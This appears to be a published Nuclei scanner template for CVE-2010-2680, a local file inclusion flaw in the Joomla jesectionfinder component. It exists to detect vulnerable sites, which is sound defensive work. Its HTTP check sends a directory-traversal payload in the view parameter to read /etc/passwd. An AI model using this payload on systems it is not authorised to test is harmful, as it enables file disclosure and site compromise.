CVE-2010-2680: Joomla! Component jesectionfinder - Local File Inclusion

2025-08-01 Joomla! PoC Public

Description

A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php.

PoC

id: CVE-2010-2680

info:
  name: Joomla! Component jesectionfinder - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php.
  impact: |
    Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full site compromise.
  remediation: |
    Apply the latest security patches or update to the latest version of the component.
  reference:
    - https://www.exploit-db.com/exploits/14064
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2680
    - http://packetstormsecurity.org/1006-exploits/joomlajesectionfinder-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/59796
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2680
    cwe-id: CWE-22
    epss-score: 0.04848
    epss-percentile: 0.91565
    cpe: cpe:2.3:a:harmistechnology:com_jesectionfinder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: harmistechnology
    product: com_jesectionfinder
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,harmistechnology,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220621fd2feb4a34be48f0c7d4e236a5835c3da55715e33d426cf8349bb73727e62022100ab6a374e539e9bcadb2da39069cb96b7385c105a3cc94e2d76f03181850101e2:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-2680.yaml

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